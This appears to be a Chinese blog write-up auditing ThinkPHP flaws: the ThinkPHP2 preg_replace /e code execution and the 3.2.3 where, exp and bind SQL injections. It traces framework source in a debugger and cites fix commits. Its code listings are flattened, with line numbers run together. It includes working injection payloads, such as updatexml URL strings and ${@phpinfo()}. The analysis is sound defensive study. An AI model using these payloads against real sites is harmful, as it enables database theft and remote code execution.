本文最后更新于 2025年4月20日 下午
                  
                
              
            
            
              
                
                ThinkPHP 指纹 /favicon.ico
1 2 3 4 /?c=4e5 e5d7364f443e28fbf0d3ae744a59a 4e5 e5d7364f443e28fbf0d3ae744a59a4e5 e5d7364f443e28fbf0d3ae744a59a-index.html"十年磨一剑"  或者"ThinkPHP" 
thinkphp的路由 几种URL模式 1 2 3 普通模式:'URL_MODEL' =>0 1 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pathinfo模式(默认模式):'URL_MODEL' =>1 'PATH_MODEL' =>1 'PATH_MODEL' =>2 , (系统默认的模式)"/" ,若设置PATH_DEPR为"^" ,'URL_PATHINFO_DEPR' =>'/' ,
1 2 3 4 rewrite模式Pathinfo ()形式路由的不同之处就是,缺少了入口文件(index.php)
1 2 3 4 5 6 7 8 兼容路由模式1 个参数:参数名s"~" 的情况下,'URL_PATHINFO_DEPR' =>'~' ,
ThinkPHP2 漏洞成因:使用preg_replace的/e模式匹配路由
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
payload php<=5.6.29
http://10.10.10.199:8080/index.php?s=/index/index/xxx/${@phpinfo()}
环境搭建: vulhub/thinkphp/2-rce docker compose up -d
写个变量调试一下看_preg_replace_的参数 
1 2 3 preg_replace ('@(\w+)/([^/]+)@e' , '$var[\'\1\']="\2";' , implode ('/' , $paths ));'$var[\'\1\']="\2";' :$var ['key' ] = "value" ; 的 PHP 代码并执行。
根据thinkphp的路由规则
这个URL映射到控制器就是解析url里的:操作/[参数名/参数值…],然后根据路由规则,使用/e模式来执行 
比如传入
/xxx/${@phpinfo()}
经过_preg_replace_生成数组
'xxx'' = "${@phpinfo()}"
那么为什么phpinfo()就会被执行,因为键值用的是双引号,双引号支持变量解析
1 2 ${} 语法允许 动态变量名 或 表达式解析phpinfo ()} 会先执行 phpinfo () 函数,然后尝试将其返回值作为变量名解析(这里会返回true 也就是1   $1 )
可以构造如下payload 
1 2 3 /index.php?s=a/b/c/${phpinfo ()}  =>  index.php/a/b/c/${@phpinfo ()}phpinfo ()}/c/d/e/fphpinfo ()}
ThinkPHP3 3.0-3.1 RCE 同thinkphp2 3.2.3 where sql注入 tp3提供了一些内置方法 在 ThinkPHP/Common/functions.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 A 快速实例化Action类库
https://gitee.com/Pro-Li/thinkphp3.2.3/repository/archive/master.zip 
配置 首先配置好数据库 ThinkPHP/Conf/convention.php
在Application/Home/Controller/IndexController.class.php写一个获取数据库数据的控制器
访问试一下
审计 对于传入的id=1,根据
$data = M('user')->find(I('GET.id'));
由内到外分析参数经过的方法
首先是I()方法,ctrl+单击方法跳转到ThinkPHP/Common/functions.php:271
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 function  I ($name ,$default ='' ,$filter =null ,$datas =null static  $_PUT    =  null ;if (strpos ($name ,'/' )){ list ($name ,$type )  =  explode ('/' ,$name ,2 );elseif (C ('VAR_AUTO_STRING' )){ $type    =   's' ;if (strpos ($name ,'.' )) { list ($method ,$name ) =   explode ('.' ,$name ,2 );else { $method  =   'param' ;switch (strtolower ($method )) {case  'get'      :   $input  =& $_GET ;break ;case  'post'     :   $input  =& $_POST ;break ;case  'put'      :   if (is_null ($_PUT )){parse_str (file_get_contents ('php://input' ), $_PUT );$input      =  $_PUT ;        break ;case  'param'    :switch ($_SERVER ['REQUEST_METHOD' ]) {case  'POST' :$input   =  $_POST ;break ;case  'PUT' :if (is_null ($_PUT )){parse_str (file_get_contents ('php://input' ), $_PUT );$input      =  $_PUT ;break ;default :$input   =  $_GET ;break ;case  'path'     :   $input   =   array ();if (!empty ($_SERVER ['PATH_INFO' ])){$depr    =   C ('URL_PATHINFO_DEPR' );$input   =   explode ($depr ,trim ($_SERVER ['PATH_INFO' ],$depr ));            break ;case  'request'  :   $input  =& $_REQUEST ;   break ;case  'session'  :   $input  =& $_SESSION ;   break ;case  'cookie'   :   $input  =& $_COOKIE ;    break ;case  'server'   :   $input  =& $_SERVER ;    break ;case  'globals'  :   $input  =& $GLOBALS ;    break ;case  'data'     :   $input  =& $datas ;      break ;default :return  null ;if ('' ==$name ) { $data        =   $input ;$filters     =   isset ($filter )?$filter :C ('DEFAULT_FILTER' );if ($filters ) {if (is_string ($filters )){$filters     =   explode (',' ,$filters );foreach ($filters  as  $filter ){$data    =   array_map_recursive ($filter ,$data ); elseif (isset ($input [$name ])) { $data        =   $input [$name ];$filters     =   isset ($filter )?$filter :C ('DEFAULT_FILTER' );if ($filters ) {if (is_string ($filters )){if (0  === strpos ($filters ,'/' )){if (1  !== preg_match ($filters ,(string )$data )){return    isset ($default ) ? $default  : null ;else {$filters     =   explode (',' ,$filters );                    elseif (is_int ($filters )){$filters     =   array ($filters );if (is_array ($filters )){foreach ($filters  as  $filter ){if (function_exists ($filter )) {$data    =   is_array ($data ) ? array_map_recursive ($filter ,$data ) : $filter ($data ); else {$data    =   filter_var ($data ,is_int ($filter ) ? $filter  : filter_id ($filter ));if (false  === $data ) {return    isset ($default ) ? $default  : null ;if (!empty ($type )){switch (strtolower ($type )){case  'a' :  $data   =  (array )$data ;break ;case  'd' :  $data   =  (int )$data ;break ;case  'f' :  $data   =  (float )$data ;break ;case  'b' :  $data   =  (boolean )$data ;break ;case  's' :   default :$data    =   (string )$data ;else { $data        =    isset ($default )?$default :null ;is_array ($data ) && array_walk_recursive ($data ,'think_filter' );return  $data ;
在方法定义的地方下个断点,跟踪参数在方法中的路径
因为没有传入filter参数,所以默认为空
所以下面这个三元表达式会取C('DEFAULT_FILTER')
$filters = isset($filter)?$filter:C('DEFAULT_FILTER'); //C('DEFAULT_FILTER')
调用了C方法,跟进一下在ThinkPHP/Common/functions.php:23
分析一下知道会到这个三元表达式
查看配置文件
用的htmlspecialchars,继续跟
这里分析不管传入的是不是数组,经过
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
都会先调用htmlspecialchars来过滤
然后会到
is_array($data) && array_walk_recursive($data,'think_filter'); //回调think_filter来过滤
在ThinkPHP/Common/functions.php:1538
1 2 3 4 5 6 7 8 function  think_filter (&$value  )if (preg_match ('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i' ,$value )){$value  .= ' ' ;
最后返回
接着跟进find()方法ThinkPHP/Library/Think/Model.class.php:720
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 public  function  find ($options =array (if (is_numeric ($options ) || is_string ($options )) {$where [$this ->getPk ()]  =   $options ;$options                 =   array ();$options ['where' ]       =   $where ;$pk   =  $this ->getPk ();if  (is_array ($options ) && (count ($options ) > 0 ) && is_array ($pk )) {$count  = 0 ;foreach  (array_keys ($options ) as  $key ) {if  (is_int ($key )) $count ++; if  ($count  == count ($pk )) {$i  = 0 ;foreach  ($pk  as  $field ) {$where [$field ] = $options [$i ];unset ($options [$i ++]);$options ['where' ]  =  $where ;else  {return  false ;$options ['limit' ]   =   1 ;$options             =   $this ->_parseOptions ($options );if (isset ($options ['cache' ])){$cache   =   $options ['cache' ];$key     =   is_string ($cache ['key' ])?$cache ['key' ]:md5 (serialize ($options ));$data    =   S ($key ,'' ,$cache );if (false  !== $data ){$this ->data     =   $data ;return  $data ;$resultSet           =   $this ->db->select ($options );if (false  === $resultSet ) {return  false ;if (empty ($resultSet )) {return  null ;if (is_string ($resultSet )){return  $resultSet ;$data    =   $this ->_read_data ($resultSet [0 ]);$this ->_after_find ($data ,$options );if (!empty ($this ->options['result' ])) {return  $this ->returnResult ($data ,$this ->options['result' ]);$this ->data     =   $data ;if (isset ($cache )){S ($key ,$data ,$cache );return  $this ->data;protected  function  _after_find (&$result ,$options  ) protected  function  returnResult ($data ,$type ='' if  ($type ){if (is_callable ($type )){return  call_user_func ($type ,$data );switch  (strtolower ($type )){case  'json' :return  json_encode ($data );case  'xml' :return  xml_encode ($data );return  $data ;
断点调试,发现会调用ThinkPHP/Library/Think/Model.class.php:627的 _parseOptions
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 protected  function  _parseOptions ($options =array (if (is_array ($options ))$options  =  array_merge ($this ->options,$options );if (!isset ($options ['table' ])){$options ['table' ]   =   $this ->getTableName ();$fields              =   $this ->fields;else {$fields              =   $this ->getDbFields ();if (!empty ($options ['alias' ])) {$options ['table' ]  .=   ' ' .$options ['alias' ];$options ['model' ]       =   $this ->name;if (isset ($options ['where' ]) && is_array ($options ['where' ]) && !empty ($fields ) && !isset ($options ['join' ])) {foreach  ($options ['where' ] as  $key =>$val ){$key             =   trim ($key );if (in_array ($key ,$fields ,true )){if (is_scalar ($val )) {$this ->_parseType ($options ['where' ],$key );elseif (!is_numeric ($key ) && '_'  != substr ($key ,0 ,1 ) && false  === strpos ($key ,'.' ) && false  === strpos ($key ,'(' ) && false  === strpos ($key ,'|' ) && false  === strpos ($key ,'&' )){if (!empty ($this ->options['strict' ])){E (L ('_ERROR_QUERY_EXPRESS_' ).':[' .$key .'=>' .$val .']' );unset ($options ['where' ][$key ]);$this ->options  =   array ();$this ->_options_filter ($options );return  $options ;
在这个方法下断点继续跟进,在ThinkPHP/Library/Think/Model.class.php:654 调用了 680 的_parseType进行类型转换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected  function  _parseType (&$data ,$key  ) if (!isset ($this ->options['bind' ][':' .$key ]) && isset ($this ->fields['_type' ][$key ])){$fieldType  = strtolower ($this ->fields['_type' ][$key ]);if (false  !== strpos ($fieldType ,'enum' )){elseif (false  === strpos ($fieldType ,'bigint' ) && false  !== strpos ($fieldType ,'int' )) {$data [$key ]   =  intval ($data [$key ]);elseif (false  !== strpos ($fieldType ,'float' ) || false  !== strpos ($fieldType ,'double' )){$data [$key ]   =  floatval ($data [$key ]);elseif (false  !== strpos ($fieldType ,'bool' )){$data [$key ]   =  (bool )$data [$key ];
然后就会将参数传给select进行查询
$resultSet = $this->db->select($options);
把参数改为?id=1'再走一遍看遇到sql注入时是如何处理的
发现经过_parseType之后id就变成1了
_parseType会根据数据库字段的类型强制转换输入的参数,因为id是int,所以会被**intval()**取整转为1 
_parseType要满足下面这个if
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
关键点在第二个条件is_array($options['where'])
回到find方法可以看到传入的id是数字或者字符串的时候,就会满足第一个if,把where转为数组
?id[where]=1的时候,就不会进入这个if
这样
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
的第二个条件is_array($options['where'])就是false,就不会进入_parseType了
这样就可以进行注入了
构造注入 可以构造报错注入
1 2 ?id[where]=1  and  updatexml (1 ,concat (0x7e ,(select user ()),0x7e ),1 )%23    1  and  updatexml (1 ,concat (0x7e ,(select user () from  user limit 1 ),0x7e ),1 )%23    
注意一定要 limit 1,只能回显一行,因为
尝试一下
修复 https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04 
v3.2.4将$options和$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。
3.2.3 exp sql注入 配置 修改一下控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php namespace  Home \Controller ;use  Think \Controller ;class  IndexController  extends  Controller public  function  index (     {header ('Content-Type: text/html; charset=utf-8' );$User  = D ('user' );$map  = array ('username'  => $_GET ['username' ]);$user  = $User ->where ($map )->find ();var_dump ($user );
审计 payload:
?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
在find()方法下断点一路跟进,发现到
$resultSet = $this->db->select($options);
会调用ThinkPHP/Library/Think/Db/Driver.class.php:942的select方法
1 2 3 4 5 6 7 public  function  select ($options =array ($this ->model  =   $options ['model' ];$this ->parseBind (!empty ($options ['bind' ])?$options ['bind' ]:array ());$sql     = $this ->buildSelectSql ($options );$result    = $this ->query ($sql ,!empty ($options ['fetch_sql' ]) ? true  : false );return  $result ;
继续跟进会调用ThinkPHP/Library/Think/Db/Driver.class.php:956的buildSelectSql方法
1 2 3 4 5 6 7 8 9 10 11 12 public  function  buildSelectSql ($options =array (if (isset ($options ['page' ])) {list ($page ,$listRows )   =   $options ['page' ];$page     =  $page >0  ? $page  : 1 ;$listRows =  $listRows >0  ? $listRows  : (is_numeric ($options ['limit' ])?$options ['limit' ]:20 );$offset   =  $listRows *($page -1 );$options ['limit' ] =  $offset .',' .$listRows ;$sql   =   $this ->parseSql ($this ->selectSql,$options );return  $sql ;
继续跟进会调用ThinkPHP/Library/Think/Db/Driver.class.php:975 的parsetSql方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  function  parseSql ($sql ,$options =array ($sql    = str_replace (array ('%TABLE%' ,'%DISTINCT%' ,'%FIELD%' ,'%JOIN%' ,'%WHERE%' ,'%GROUP%' ,'%HAVING%' ,'%ORDER%' ,'%LIMIT%' ,'%UNION%' ,'%LOCK%' ,'%COMMENT%' ,'%FORCE%' ),array ($this ->parseTable ($options ['table' ]),$this ->parseDistinct (isset ($options ['distinct' ])?$options ['distinct' ]:false ),$this ->parseField (!empty ($options ['field' ])?$options ['field' ]:'*' ),$this ->parseJoin (!empty ($options ['join' ])?$options ['join' ]:'' ),$this ->parseWhere (!empty ($options ['where' ])?$options ['where' ]:'' ),$this ->parseGroup (!empty ($options ['group' ])?$options ['group' ]:'' ),$this ->parseHaving (!empty ($options ['having' ])?$options ['having' ]:'' ),$this ->parseOrder (!empty ($options ['order' ])?$options ['order' ]:'' ),$this ->parseLimit (!empty ($options ['limit' ])?$options ['limit' ]:'' ),$this ->parseUnion (!empty ($options ['union' ])?$options ['union' ]:'' ),$this ->parseLock (isset ($options ['lock' ])?$options ['lock' ]:false ),$this ->parseComment (!empty ($options ['comment' ])?$options ['comment' ]:'' ),$this ->parseForce (!empty ($options ['force' ])?$options ['force' ]:'' )$sql );return  $sql ;
这就是用sql模板来构造sql语句,继续跟进到ThinkPHP/Library/Think/Db/Driver.class.php:547 的parseWhereItem方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 protected  function  parseWhereItem ($key ,$val $whereStr  = '' ;if (is_array ($val )) {if (is_string ($val [0 ])) {$exp     =  strtolower ($val [0 ]);if (preg_match ('/^(eq|neq|gt|egt|lt|elt)$/' ,$exp )) { $whereStr  .= $key .' ' .$this ->exp[$exp ].' ' .$this ->parseValue ($val [1 ]);elseif (preg_match ('/^(notlike|like)$/' ,$exp )){if (is_array ($val [1 ])) {$likeLogic   =   isset ($val [2 ])?strtoupper ($val [2 ]):'OR' ;if (in_array ($likeLogic ,array ('AND' ,'OR' ,'XOR' ))){$like        =   array ();foreach  ($val [1 ] as  $item ){$like [] = $key .' ' .$this ->exp[$exp ].' ' .$this ->parseValue ($item );$whereStr  .= '(' .implode (' ' .$likeLogic .' ' ,$like ).')' ;                          else {$whereStr  .= $key .' ' .$this ->exp[$exp ].' ' .$this ->parseValue ($val [1 ]);elseif ('bind'  == $exp  ){ $whereStr  .= $key .' = :' .$val [1 ];elseif ('exp'  == $exp  ){ $whereStr  .= $key .' ' .$val [1 ];elseif (preg_match ('/^(notin|not in|in)$/' ,$exp )){ if (isset ($val [2 ]) && 'exp' ==$val [2 ]) {$whereStr  .= $key .' ' .$this ->exp[$exp ].' ' .$val [1 ];else {if (is_string ($val [1 ])) {$val [1 ] =  explode (',' ,$val [1 ]);$zone       =   implode (',' ,$this ->parseValue ($val [1 ]));$whereStr  .= $key .' ' .$this ->exp[$exp ].' (' .$zone .')' ;elseif (preg_match ('/^(notbetween|not between|between)$/' ,$exp )){ $data  = is_string ($val [1 ])? explode (',' ,$val [1 ]):$val [1 ];$whereStr  .=  $key .' ' .$this ->exp[$exp ].' ' .$this ->parseValue ($data [0 ]).' AND ' .$this ->parseValue ($data [1 ]);else {E (L ('_EXPRESS_ERROR_' ).':' .$val [0 ]);else  {$count  = count ($val );$rule   = isset ($val [$count -1 ]) ? (is_array ($val [$count -1 ]) ? strtoupper ($val [$count -1 ][0 ]) : strtoupper ($val [$count -1 ]) ) : ''  ; if (in_array ($rule ,array ('AND' ,'OR' ,'XOR' ))) {$count   = $count  -1 ;else {$rule    = 'AND' ;for ($i =0 ;$i <$count ;$i ++) {$data  = is_array ($val [$i ])?$val [$i ][1 ]:$val [$i ];if ('exp' ==strtolower ($val [$i ][0 ])) {$whereStr  .= $key .' ' .$data .' ' .$rule .' ' ;else {$whereStr  .= $this ->parseWhereItem ($key ,$val [$i ]).' ' .$rule .' ' ;$whereStr  = '( ' .substr ($whereStr ,0 ,-4 ).' )' ;else  {$likeFields    =   $this ->config['db_like_fields' ];if ($likeFields  && preg_match ('/^(' .$likeFields .')$/i' ,$key )) {$whereStr  .= $key .' LIKE ' .$this ->parseValue ('%' .$val .'%' );else  {$whereStr  .= $key .' = ' .$this ->parseValue ($val );return  $whereStr ;
重点就在这个方法
当传入的值是数组且第一个键值为exp的时候会拼接where语句
报错注入构造成功
这里构造的语句最后就会提交给sql查询
具体是怎么构造,分析parsetSql方法的模板可知
1 2 3 4 %WHERE%   $whereStr  .= $key .' ' .$val [1 ];    1  and  updatexml (1 ,concat (0x7e ,user (),0x7e ),1 ) LIMIT 1   
这里只能通过get或者post等方法传入值,不能通过I()接收值
因为I方法最后经过了一个回调函数think_filter过滤了exp,在后面添加一个空格,无法进入拼接where的if因为(exp != exp空格)
1 2 3 4 5 6 7 8 function  think_filter (&$value  )if (preg_match ('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i' ,$value )){$value  .= ' ' ;
thinkphp 3.2.3 bind注入 配置 控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php namespace  Home \Controller ;use  Think \Controller ;class  IndexController  extends  Controller public  function  index (     {header ('Content-Type: text/html; charset=utf-8' );$User  = M ("user" );$user ['id' ] = I ('id' );$data ['password' ] = I ('password' );$valu  = $User ->where ($user )->save ($data );var_dump ($valu );
审计 payload
?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
注意到上面exp注入的上一个if
1 2 elseif ('bind'  == $exp  ){ $whereStr  .= $key .' = :' .$val [1 ];
当数组第一个键值为bind的时候,会拼接where为
where xxx.' ='.val //也就是拼接一个等号和冒号
这里为什么可以通过I('id')获取参数,因为think_filter没有过滤bind
因为用到save(),所以在ThinkPHP/Library/Think/Model.class.php:396 对 save()方法下给断点
到ThinkPHP/Library/Think/Model.class.php:451
$result = $this->db->update($data,$options);
调用了update(),跟进ThinkPHP/Library/Think/Db/Driver.class.php:891
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public  function  update ($data ,$options $this ->model  =   $options ['model' ];$this ->parseBind (!empty ($options ['bind' ])?$options ['bind' ]:array ());$table   =   $this ->parseTable ($options ['table' ]);$sql    = 'UPDATE '  . $table  . $this ->parseSet ($data );if (strpos ($table ,',' )){$sql  .= $this ->parseJoin (!empty ($options ['join' ])?$options ['join' ]:'' );$sql  .= $this ->parseWhere (!empty ($options ['where' ])?$options ['where' ]:'' );if (!strpos ($table ,',' )){$sql    .=  $this ->parseOrder (!empty ($options ['order' ])?$options ['order' ]:'' )$this ->parseLimit (!empty ($options ['limit' ])?$options ['limit' ]:'' );$sql  .=   $this ->parseComment (!empty ($options ['comment' ])?$options ['comment' ]:'' );return  $this ->execute ($sql ,!empty ($options ['fetch_sql' ]) ? true  : false );
parseWhere会调用parseWhereItem(进入到elseif(‘bind’ == $exp ))
返回值如下
在update()的最后return会调用ThinkPHP/Library/Think/Db/Driver.class.php:193 的 execute()
继续跟进发现在198行
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
sql语句改变了
把queryStr根据$this->bind数组进行替换
也就是把:0转为1
成功构造sql注入
那么bind数组是哪来的,bind一开始是初始化的空数组,对bind监视,看值是何时变化的
发现是bindParam()方法
protected function bindParam($name,$value){ $this->bind[':'.$name] = $value; }// bind[:0] = 1
而bindParam()方法是parseSet()调用的,parseSet()是update()方法(895行)调用的
也就是
1 2 3 4 5 6 save ()--> update ()--> parseSet () --> bindParam () --> execute ()execute ()的if (!empty ($this ->bind)){$that    =   $this ;$this ->queryStr =   strtr ($this ->queryStr,array_map (function($val ) use ($that ){ return  '\'' .$that ->escapeString ($val ).'\'' ; },$this ->bind));
替换的这个1 其实就是传入的password的值
改一下payload
?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=aa
发现bind把:0替换为aa
修复 https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4 
在I()的回调方法think_filter增加一个bind字符过滤